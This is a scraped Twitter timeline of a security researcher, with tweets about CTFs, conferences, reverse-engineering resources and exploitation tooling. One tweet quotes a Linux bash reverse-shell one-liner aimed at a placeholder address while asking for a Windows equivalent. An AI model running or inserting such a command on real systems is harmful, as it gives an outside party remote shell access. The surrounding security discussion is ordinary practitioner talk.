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Gynvael Coldwind
@
gynvael
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security researcher / programmer ⁂ Paged Out! zine lead ⁂ @DragonSectorCTF founder/player ⁂ technical streamer (youtube.com/c/GynvaelEN) ⁂ slide maker ;)
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3.142
Tweetovi
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961
Pratim
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23.739
Osobe koje vas prate
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| Gynvael Coldwind proslijedio/la je tweet | ||
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👼 Ąż 杏
@angealbertini
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7 h |
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Would you be interested in such stickers?
(RTs are appreciated) pic.twitter.com/XKrOWSxuWN
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b0bb
@0xb0bb
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1. velj |
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Here is my massive lib db (for ctfs/wargames/blind pwns etc.). It consists of thousands of libs across over a dozen Linux distributions and architectures spanning the last 20 years. It indexes symbols & gadgets (including one gadgets AKA magic gadgets). github.com/0xb0bb/karkinos pic.twitter.com/T76K3lkQ3r
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Gynvael Coldwind
@gynvael
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2. velj |
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Are bugs like this the new "bring a BSD/wireshark 0day to DEF CON CTF" meta game?
Bring Your Own Platform Exploit?
🤣🤣🤣 twitter.com/RiftWhiteHat/s…
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Jacopo Bertolotti
@j_bertolotti
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2. velj |
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Dear Twitter hive mind: any suggestions for high quality Youtube channels about bio-chem-med IN POLISH (for a 14y/o kid)?
Thanks 🙂
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Gynvael Coldwind
@gynvael
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2. velj |
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Nothing comes to my mind. I know a couple of science channels, but nothing bio-med specific.
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Gynvael Coldwind
@gynvael
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2. velj |
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If you're around Mannheim / Germany area, check out this new conference - they still have CFP open. twitter.com/CiderSecCon/st…
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Shay Nehmad
@ShayNehmad
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1. velj |
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I'm really excited to share this.
I have a blog! Go to mrnice.dev to check it out.
It will mostly include technical posts about cool stuff I learn or problems I solve in my professional life. It already has a few posts up.
I'd love to hear your feedback
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Shay Nehmad
@ShayNehmad
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1. velj |
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I'd like to thank @OphirHarpaz, @ace__pace, @SandSpider2234, @TheHamstermind and @gynvael for the inspiration and support in making this side project not die 🙏
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Javier Guerrero 🦉
@Xavier_Gd
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31. sij |
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𝚂𝚔𝚢𝙻𝚒𝚗𝚎𝚍
@berendjanwever
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31. sij |
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I created a pixel perfect Nyan Cat animation in JavaScript almost 10 years ago. The original gif is 30K while this version is exactly 1K, a reduction in size of almost 97%.
If u like JavaScript compression/obfuscation and reverse engineering, have a look!
demo.skylined.nl/2011-05-01%20P…
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j00ru//vx
@j00ru
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30. sij |
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Just published a follow-up to my Adobe Reader symbols story on the Project Zero blog. Turns out there's even more debug metadata to be found in some old (and new) builds, including private CoolType symbols. Enjoy! googleprojectzero.blogspot.com/2020/01/part-i…
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LiveOverflow 🔴
@LiveOverflow
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30. sij |
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The epidemic will get the travel influencers first. Then come the daily vloggers who walk around outside too much. And the last content to die out will be the gamers on Twitch.
Sitting 24/7 infront of the PC doesn't seem so bad anymore!
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Gynvael Coldwind
@gynvael
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30. sij |
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Just a quick reminder that confidence 2020 CFP is ending soon (3rd Feb) - confidence-conference.org/call_for_paper…
(confidence is the largest technical security conference in Poland with talks in English; it's happening in May in Krakow) pic.twitter.com/e4IAz5xkmT
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Gynvael Coldwind
@gynvael
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29. sij |
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Yeah, cmd.exe, Powershell, Windows Script Host, JScript Host, etc ;)
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Gynvael Coldwind
@gynvael
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29. sij |
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I agree :)
Though for the sake of discussion let's assume I'm looking for something Windows specific (like, assume the machine has no internet access, only LAN, and you have a machine on LAN).
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Gynvael Coldwind
@gynvael
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29. sij |
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Question: What's the shortest Windows reverse shell that you know? Is there something like GNU/Linux' bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 ?
Obligatory disclaimer: Asking for a friend.
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Gynvael Coldwind
@gynvael
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27. sij |
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Happy you like it :)
As for the 1337 lines, it's an accident.
OR IS IT?
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Gynvael Coldwind
@gynvael
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27. sij |
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Gynvael Coldwind
@gynvael
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26. sij |
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Thank you for the kind words :)
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t1g4x
@iN127pkt
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26. sij |
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Learn Reversing/Bin Exploitation:
youtube.com/watch?v=iyAyN3…
Practice:
2019game.picoctf.com
247ctf.com
Great content about it:
youtube.com/user/GynvaelEN
Learn x64 Assembly(MASM):
youtube.com/playlist?list=…
Thanks guys <3 @LiveOverflow @gynvael @WhatsACreel
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